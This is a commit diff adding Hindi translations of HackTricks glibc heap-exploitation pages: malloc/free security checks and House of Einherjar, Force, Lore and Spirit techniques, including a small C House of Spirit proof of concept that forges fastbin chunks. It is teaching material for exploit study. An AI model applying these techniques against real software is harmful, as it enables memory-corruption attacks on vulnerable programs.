mirror of
https://github.com/carlospolop/hacktricks
synced 2024-11-24 21:53:54 +00:00
Translated ['binary-exploitation/heap/heap-functions-security-checks.md'
This commit is contained in:
parent
3b37e8e1bd
commit
0a216ebbb3
12 changed files with 527 additions and 71 deletions
BIN
.gitbook/assets/image (1245).png
Normal file
BIN
.gitbook/assets/image (1245).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 96 KiB |
BIN
.gitbook/assets/image (1246).png
Normal file
BIN
.gitbook/assets/image (1246).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 99 KiB |
BIN
.gitbook/assets/image (1247).png
Normal file
BIN
.gitbook/assets/image (1247).png
Normal file
Binary file not shown.
After Width: | Height: | Size: 80 KiB |
|
@ -726,6 +726,12 @@
|
|||
* [Use After Free](binary-exploitation/heap/use-after-free/README.md)
|
||||
* [First Fit](binary-exploitation/heap/use-after-free/first-fit.md)
|
||||
* [Double Free](binary-exploitation/heap/double-free.md)
|
||||
* [Unlink Attack](binary-exploitation/heap/unlink-attack.md)
|
||||
* [Off by one overflow](binary-exploitation/heap/off-by-one-overflow.md)
|
||||
* [House of Spirit](binary-exploitation/heap/house-of-spirit.md)
|
||||
* [House of Lore](binary-exploitation/heap/house-of-lore.md)
|
||||
* [House of Einherjar](binary-exploitation/heap/house-of-einherjar.md)
|
||||
* [House of Force](binary-exploitation/heap/house-of-force.md)
|
||||
* [Heap Overflow](binary-exploitation/heap/heap-overflow.md)
|
||||
* [Common Binary Exploitation Protections & Bypasses](binary-exploitation/common-binary-protections-and-bypasses/README.md)
|
||||
* [ASLR](binary-exploitation/common-binary-protections-and-bypasses/aslr/README.md)
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
## unlink
|
||||
|
||||
यह फ़ंक्शन एक डबली लिंक्ड सूची से एक चंक को हटाता है। सामान्य जांच सुनिश्चित करती है कि जब चंक को अलिंक किया जाता है, तो लिंक्ड लिस्ट संरचना सुनिश्चित रहती है।
|
||||
यह फ़ंक्शन एक डबली लिंक्ड सूची से एक चंक को हटाता है। सामान्य जांचें सुनिश्चित करती हैं कि जब चंक को अलग किया जाता है, तो लिंक्ड लिस्ट संरचना सुनिश्चित रहती है।
|
||||
|
||||
* **संरचना जांचें**:
|
||||
* जांचें कि `P->fd->bk == P` और `P->bk->fd == P`।
|
||||
|
@ -24,56 +24,56 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
## \_int\_malloc
|
||||
|
||||
यह फ़ंक्शन हीप से मेमोरी का आवंटन करने के लिए जिम्मेदार है। यहां की जांचें सुनिश्चित करती हैं कि आवंटन के दौरान मेमोरी को कोरप्ट नहीं किया गया है।
|
||||
यह फ़ंक्शन हीप से मेमोरी का आवंटन करने के लिए जिम्मेदार है। यहाँ जांचें सुनिश्चित करती हैं कि आवंटन के दौरान मेमोरी को कोरप्ट नहीं किया गया है।
|
||||
|
||||
* **Fastbin Size जांच**:
|
||||
* जब फास्टबिन से एक चंक को हटाते हैं, तो सुनिश्चित करें कि चंक का आकार फास्टबिन सीमा के भीतर है।
|
||||
* **फास्टबिन साइज जांच**:
|
||||
* जब फास्टबिन से एक चंक को हटाया जाता है, तो सुनिश्चित करें कि चंक का साइज फास्टबिन रेंज के भीतर है।
|
||||
* त्रुटि संदेश: `malloc(): memory corruption (fast)`
|
||||
* **Smallbin Consistency जांच**:
|
||||
* एक चंक को स्मॉलबिन से हटाते समय, सुनिश्चित करें कि डबली लिंक्ड सूची में पिछला और अगला लिंक संरचित हैं।
|
||||
* **स्मॉलबिन संरचना जांच**:
|
||||
* स्मॉलबिन से एक चंक को हटाते समय, सुनिश्चित करें कि डबली लिंक्ड सूची में पिछला और अगला लिंक संरचित हैं।
|
||||
* त्रुटि संदेश: `malloc(): smallbin double linked list corrupted`
|
||||
* **Unsorted Bin Memory Range जांच**:
|
||||
* सुनिश्चित करें कि अनसॉर्टेड बिन में चंक का आकार न्यूनतम और अधिकतम सीमाओं के भीतर है।
|
||||
* त्रुटि संदेश: `malloc(): memory corruption`
|
||||
* **Unsorted Bin Consistency जांच (पहला स्थिति)**:
|
||||
* जब अनसॉर्टेड बिन में बची हुई चंक डाली जाती है, तो जांचें कि `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`।
|
||||
* **अनसॉर्टेड बिन मेमोरी रेंज जांच**:
|
||||
* सुनिश्चित करें कि अनसॉर्टेड बिन में चंक का साइज न्यूनतम और अधिकतम सीमाओं के भीतर है।
|
||||
* त्रुटि संदेश: `malloc(): memory corruption | malloc(): invalid next size (unsorted)`
|
||||
* **अनसॉर्टेड बिन संरचना जांच (पहला स्थिति)**:
|
||||
* जब अनसॉर्टेड बिन में बची हुई चंक को डाला जाता है, तो जांचें कि `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`।
|
||||
* त्रुटि संदेश: `malloc(): corrupted unsorted chunks`
|
||||
* **Unsorted Bin Consistency जांच (दूसरी स्थिति)**:
|
||||
* पिछली जांच के समान, लेकिन जब एक फास्ट या स्मॉल चंक को विभाजित करने के बाद डाला जाता है, तो यह ट्रिगर होता है।
|
||||
* **अनसॉर्टेड बिन संरचना जांच (दूसरी स्थिति)**:
|
||||
* पिछली जांच के समान, लेकिन जब एक फास्ट या स्मॉल चंक को विभाजित करने के बाद डाला जाता है।
|
||||
* त्रुटि संदेश: `malloc(): corrupted unsorted chunks 2`
|
||||
|
||||
## \_int\_free
|
||||
|
||||
यह फ़ंक्शन पहले से आवंटित मेमोरी को मुक्त करता है। यहां की जांचें सहायक हैं ताकि सही मेमोरी डीएलोकेशन हो और मेमोरी कोरप्शन रोकी जा सके।
|
||||
यह फ़ंक्शन पहले से आवंटित मेमोरी को मुक्त करता है। यहाँ की जांचें सहायक हैं सही मेमोरी डीएलोकेशन सुनिश्चित करने और मेमोरी कोरप्शन से बचाने में।
|
||||
|
||||
* **पॉइंटर सीमा जांच**:
|
||||
* सुनिश्चित करें कि मुक्त किया जा रहा पॉइंटर मेमोरी के चारों ओर नहीं घुम रहा है।
|
||||
* सुनिश्चित करें कि मुक्त किए जाने वाला पॉइंटर मेमोरी के चारों ओर नहीं घुम रहा है।
|
||||
* त्रुटि संदेश: `free(): invalid pointer`
|
||||
* **आकार जांच**:
|
||||
* सुनिश्चित करें कि मुक्त किए जा रहे चंक का आकार कम से कम `MINSIZE` या `MALLOC_ALIGNMENT` की एक गुणक है।
|
||||
* **साइज जांच**:
|
||||
* सुनिश्चित करें कि मुक्त किए जाने वाले चंक का साइज कम से कम `MINSIZE` है या `MALLOC_ALIGNMENT` का एक गुणक है।
|
||||
* त्रुटि संदेश: `free(): invalid size`
|
||||
* **Fastbin Size जांच**:
|
||||
* फास्टबिन चंक्स के लिए, सुनिश्चित करें कि अगले चंक का आकार न्यूनतम और अधिकतम सीमाओं के भीतर है।
|
||||
* **फास्टबिन साइज जांच**:
|
||||
* फास्टबिन चंक्स के लिए, सुनिश्चित करें कि अगले चंक का साइज न्यूनतम और अधिकतम सीमाओं के भीतर है।
|
||||
* त्रुटि संदेश: `free(): invalid next size (fast)`
|
||||
* **Fastbin Double Free जांच**:
|
||||
* जब एक चंक को फास्टबिन में डाला जाता है, तो सुनिश्चित करें कि हेड पर चंक वही है जो डाला जा रहा है।
|
||||
* **फास्टबिन डबल मुक्ति जांच**:
|
||||
* जब एक चंक को फास्टबिन में डाला जाता है, सुनिश्चित करें कि हेड पर चंक वही है जो डाला जा रहा है।
|
||||
* त्रुटि संदेश: `double free or corruption (fasttop)`
|
||||
* **Fastbin Consistency जांच**:
|
||||
* फास्टबिन में डालने के समय, सुनिश्चित करें कि हेड चंक और डाले जा रहे चंक का आकार समान है।
|
||||
* **फास्टबिन संरचना जांच**:
|
||||
* फास्टबिन में डालने के समय, सुनिश्चित करें कि हेड चंक और डाले जाने वाले चंक का साइज समान है।
|
||||
* त्रुटि संदेश: `invalid fastbin entry (free)`
|
||||
* **Top Chunk Consistency जांच**:
|
||||
* गैर-फास्टबिन चंक्स के लिए, सुनिश्चित करें कि चंक शीर्ष चंक के समान नहीं है।
|
||||
* **टॉप चंक संरचना जांच**:
|
||||
* गैर-फास्टबिन चंक्स के लिए, सुनिश्चित करें कि चंक टॉप चंक के समान नहीं है।
|
||||
* त्रुटि संदेश: `double free or corruption (top)`
|
||||
* **मेमोरी सीमाएं जांच**:
|
||||
* सुनिश्चित करें कि मेमोरी द्वारा अगला चंक एरीना की सीमाओं के भीतर है।
|
||||
* त्रुटि संदेश: `double free or corruption (out)`
|
||||
* **Prev\_inuse बिट जांच**:
|
||||
* सुनिश्चित करें कि अगले चंक में पिछले-इन-यूज बिट मार्क किया गया है।
|
||||
* **पिछला_इनयूज़ बिट जांच**:
|
||||
* सुनिश्चित करें कि अगले चंक में पिछला-इनयूज़ बिट मार्क किया गया है।
|
||||
* त्रुटि संदेश: `double free or corruption (!prev)`
|
||||
* **सामान्य आकार जांच**:
|
||||
* सुनिश्चित करें कि अगले चंक का आकार मान्य सीमाओं के भीतर है।
|
||||
* **सामान्य साइज जांच**:
|
||||
* सुनिश्चित करें कि अगले चंक का साइज मान्य सीमाओं के भीतर है।
|
||||
* त्रुटि संदेश: `free(): invalid next size (normal)`
|
||||
* **Unsorted Bin Consistency जांच**:
|
||||
* **अनसॉर्टेड बिन संरचना जांच**:
|
||||
* एक कोलिस्ड चंक को अनसॉर्टेड बिन में डालते समय, जांचें कि `unsorted_chunks(av)->fd->bk == unsorted_chunks(av)`।
|
||||
* त्रुटि संदेश: `free(): corrupted unsorted chunks`
|
||||
|
||||
|
@ -83,7 +83,7 @@ HackTricks का समर्थन करने के अन्य तरी
|
|||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* अगर आप चाहते हैं कि आपकी **कंपनी HackTricks में विज्ञापित हो** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
|
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
61
binary-exploitation/heap/house-of-einherjar.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# House of Einherjar
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
### कोड
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c) से उदाहरण देखें
|
||||
|
||||
### लक्ष्य
|
||||
|
||||
* लक्ष्य है कि लगभग किसी भी विशिष्ट पते पर मेमोरी का आवंटन किया जाए।
|
||||
|
||||
### आवश्यकताएं
|
||||
|
||||
* पिछले चंक के हेडर पर एक अंतर से बाहर होना पिछले इस्तेमाल में संशोधित करने के लिए
|
||||
* वर्तमान चंक का हिस्सा है `prev_size` डेटा को संशोधित करने की क्षमता
|
||||
* हीप लीक
|
||||
|
||||
### हमला
|
||||
|
||||
* हमलावर्गी के द्वारा एक झूठा चंक बनाया जाता है जो हमलावर्गी द्वारा नियंत्रित चंक में एक मूल चंक की ओर प्वाइंट करता है ताकि सुरक्षा उपायों को दौर किया जा सके
|
||||
* 2 अन्य चंक (`B` और `C`) बनाए जाते हैं।
|
||||
* `B` में एक ऑफ बाय वन का दुरुपयोग करके `पिछले इस्तेमाल में` बिट को साफ किया जाता है और `prev_size` डेटा को ओवरराइट किया जाता है जो `C` चंक को आवंटित किये गए स्थान और पहले उत्पन्न झूठे `A` चंक के बीच के अंतर के बीच होता है।
|
||||
* यह `prev_size` और झूठे चंक `A` का आकार एक समान होना चाहिए ताकि जांचों को दौर किया जा सके।
|
||||
* फिर, Tcache भरा जाता है
|
||||
* फिर, `C` को मुक्त किया जाता है ताकि यह झूठे चंक `A` के साथ समेकित हो जाए
|
||||
* फिर, एक नया चंक `D` बनाया जाता है जो झूठे `A` चंक में शुरू होगा और `B` चंक को कवर करेगा
|
||||
* फिर, `B` को मुक्त किया जाता है और इसका `fd` लक्षित पते पर ओवरराइट किया जाता है जिससे यह लक्षित पते पर प्वाइंट करे जो `D` चंक को दुरुपयोग करके इसमें शामिल है।
|
||||
* फिर, 2 mallocs किए जाते हैं क्योंकि दूसरा माल्लोक लक्षित पते को समेत करेगा
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.35/house\_of\_einherjar.c)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
42
binary-exploitation/heap/house-of-force.md
Normal file
42
binary-exploitation/heap/house-of-force.md
Normal file
|
@ -0,0 +1,42 @@
|
|||
# House of Force
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* यदि आप अपनी **कंपनी का विज्ञापन HackTricks में देखना** चाहते हैं या **HackTricks को PDF में डाउनलोड** करना चाहते हैं तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर **फॉलो** करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें द्वारा PRs सबमिट करके** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## मूल जानकारी
|
||||
|
||||
### कोड
|
||||
|
||||
* यह तकनीक पैच किया गया था ([**यहाँ**](https://sourceware.org/git/?p=glibc.git;a=commitdiff;h=30a17d8c95fbfb15c52d1115803b63aaa73a285c)) और यह त्रुटि उत्पन्न करता है: `malloc(): corrupted top size`
|
||||
|
||||
### लक्ष्य
|
||||
|
||||
* इस हमले का लक्ष्य एक विशिष्ट पते पर एक चंक को आवंटित करने की क्षमता होती है।
|
||||
|
||||
### आवश्यकताएं
|
||||
|
||||
* एक ओवरफ्लो जो शीर्ष चंक हेडर का आकार अधिक करने की अनुमति देता है (जैसे -1)।
|
||||
* हीप आवंटन का आकार नियंत्रित करने की क्षमता होना
|
||||
|
||||
### हमला
|
||||
|
||||
यदि एक हमलावर्ती किसी पते P पर एक चंक चाहता है, जिसे शीर्ष चंक का आकार -1 के साथ अधिलिखित किया गया है। सबसे पहले (\&top\_chunk - P) का malloc करने की आवश्यकता है। ध्यान दें कि यह पॉइंटर शीर्ष चंक के पहले या उसके बाद हो सकता है क्योंकि कोई भी आकार -1 (0xFFFFFFFFFFFFFFFF) से कम होगा। इस प्रारंभिक चंक को आवंटित करने के बाद, शीर्ष चंक वांछित P पते पर ले जाएगा और अगला चंक उस पते से होगा।
|
||||
|
||||
### संदर्भ
|
||||
|
||||
* [https://github.com/shellphish/how2heap/tree/master](https://github.com/shellphish/how2heap/tree/master?tab=readme-ov-file)
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_force/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_force)
|
61
binary-exploitation/heap/house-of-lore.md
Normal file
61
binary-exploitation/heap/house-of-lore.md
Normal file
|
@ -0,0 +1,61 @@
|
|||
# House of Lore
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
## मूलभूत जानकारी
|
||||
|
||||
### कोड
|
||||
|
||||
* यह काम नहीं कर रहा है
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/) से एक देखें
|
||||
* या: [https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c](https://github.com/shellphish/how2heap/blob/master/glibc\_2.39/house\_of\_lore.c)
|
||||
|
||||
### लक्ष्य
|
||||
|
||||
* छोटे बिन में एक नकली छोटे टुकड़े को डालें ताकि इसे आवंटित किया जा सके।
|
||||
|
||||
### आवश्यकताएं
|
||||
|
||||
* नकली टुकड़े बनाएं
|
||||
* पीड़ित टुकड़े और नकली टुकड़ों का पता होना
|
||||
* `bk` और `fd` प्वाइंटर को संशोधित करने की क्षमता होना
|
||||
|
||||
### हमला
|
||||
|
||||
* एक पीड़ित छोटा टुकड़ा आवंटित किया जाता है
|
||||
* एक हमलावर कुछ नकली छोटे टुकड़े उत्पन्न करता है, और पहले नकली टुकड़े को `fd` को एक वास्तविक टुकड़े की ओर पहुंचाता है और `bk` को दूसरे नकली टुकड़े की ओर पहुंचाता है। दूसरे नकली टुकड़े को भी पहले वाले की ओर पहुंचाता है।
|
||||
* फिर, शीर्ष टुकड़े में मिलाने पर पहले वाले को मिलाने से रोकने के लिए एक नया बड़ा टुकड़ा आवंटित किया जाता है
|
||||
* फिर, प्रारंभिक पॉइंटर को मुक्त किया जाता है और एक बड़े आकार का दूसरा पॉइंटर आवंटित किया जाता है ताकि मुक्त प्रारंभिक छोटा टुकड़ा छोटे बिन में रखा जा सके।
|
||||
* वास्तविक छोटे टुकड़े को संशोधित किया जाता है ताकि इसका `bk` पॉइंटर नकली टुकड़े की ओर पहुंचे और।
|
||||
* फिर, जब इस आकार के 2 टुकड़े आवंटित किए जाते हैं तो वे पहले मान्य टुकड़े को प्राप्त करते हैं और फिर हमलावर द्वारा किसी प्रकार से नियंत्रित नकली टुकड़े को।
|
||||
|
||||
## संदर्भ
|
||||
|
||||
* [https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/](https://ctf-wiki.mahaloz.re/pwn/linux/glibc-heap/house\_of\_lore/)
|
||||
* [https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore](https://heap-exploitation.dhavalkapil.com/attacks/house\_of\_lore)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स देखें**](https://github.com/sponsors/carlospolop)!
|
||||
* [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* **शामिल हों** 💬 [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **ट्विटर** पर फॉलो करें 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **हैकिंग ट्रिक्स साझा करें** द्वारा PRs सबमिट करके [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
99
binary-exploitation/heap/house-of-spirit.md
Normal file
99
binary-exploitation/heap/house-of-spirit.md
Normal file
|
@ -0,0 +1,99 @@
|
|||
# House of Spirit
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>जानें AWS हैकिंग को शून्य से हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
दूसरे तरीके HackTricks का समर्थन करने के लिए:
|
||||
|
||||
* अगर आप अपनी **कंपनी का विज्ञापन HackTricks में देखना चाहते हैं** या **HackTricks को PDF में डाउनलोड करना चाहते हैं** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks swag प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* हमारे विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह, [**The PEASS Family**](https://opensea.io/collection/the-peass-family) खोजें
|
||||
* **शामिल हों** 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या हमें **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** पर फॉलो** करें।
|
||||
* **अपने हैकिंग ट्रिक्स साझा करें, HackTricks** और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github repos को PR जमा करके।
|
||||
|
||||
</details>
|
||||
|
||||
## Basic Information
|
||||
|
||||
### Code
|
||||
|
||||
<details>
|
||||
|
||||
<summary>House of Spirit</summary>
|
||||
```c
|
||||
#include <unistd.h>
|
||||
#include <stdlib.h>
|
||||
#include <string.h>
|
||||
#include <stdio.h>
|
||||
|
||||
// Code altered to add som prints from: https://heap-exploitation.dhavalkapil.com/attacks/house_of_spirit
|
||||
|
||||
struct fast_chunk {
|
||||
size_t prev_size;
|
||||
size_t size;
|
||||
struct fast_chunk *fd;
|
||||
struct fast_chunk *bk;
|
||||
char buf[0x20]; // chunk falls in fastbin size range
|
||||
};
|
||||
|
||||
int main() {
|
||||
struct fast_chunk fake_chunks[2]; // Two chunks in consecutive memory
|
||||
void *ptr, *victim;
|
||||
|
||||
ptr = malloc(0x30);
|
||||
|
||||
printf("Original alloc address: %p\n", ptr);
|
||||
printf("Main fake chunk:%p\n", &fake_chunks[0]);
|
||||
printf("Second fake chunk for size: %p\n", &fake_chunks[1]);
|
||||
|
||||
// Passes size check of "free(): invalid size"
|
||||
fake_chunks[0].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Passes "free(): invalid next size (fast)"
|
||||
fake_chunks[1].size = sizeof(struct fast_chunk);
|
||||
|
||||
// Attacker overwrites a pointer that is about to be 'freed'
|
||||
// Point to .fd as it's the start of the content of the chunk
|
||||
ptr = (void *)&fake_chunks[0].fd;
|
||||
|
||||
free(ptr);
|
||||
|
||||
victim = malloc(0x30);
|
||||
printf("Victim: %p\n", victim);
|
||||
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
</details>
|
||||
|
||||
### लक्ष्य
|
||||
|
||||
* एक विशेष पता जो एक चंक में उपयोग होने वाला हो, उसे tcache / fast bin में जोड़ने की क्षमता
|
||||
|
||||
### आवश्यकताएं
|
||||
|
||||
* यह हमला एक हमलावर को दो नकली तेज चंक बनाने की आवश्यकता है जो इसके आकार मान्यता सही दिखाते हैं और उस आकार के एक तेज चंक को अधिक करने के लिए, ताकि हमलावर का चंक वास्तव में तेज बिन में पहुंचे।
|
||||
|
||||
### हमला
|
||||
|
||||
* सुरक्षा जांचों को छलकर एक नकली चंक बनाएं (आपको 2 नकली चंक की आवश्यकता है)
|
||||
* किसी पॉइंटर को मुक्त करने से पहले, उसे नकली चंक से अधिक करें ताकि वह बिन में पहुंचे
|
||||
|
||||
## संदर्भ
|
||||
|
||||
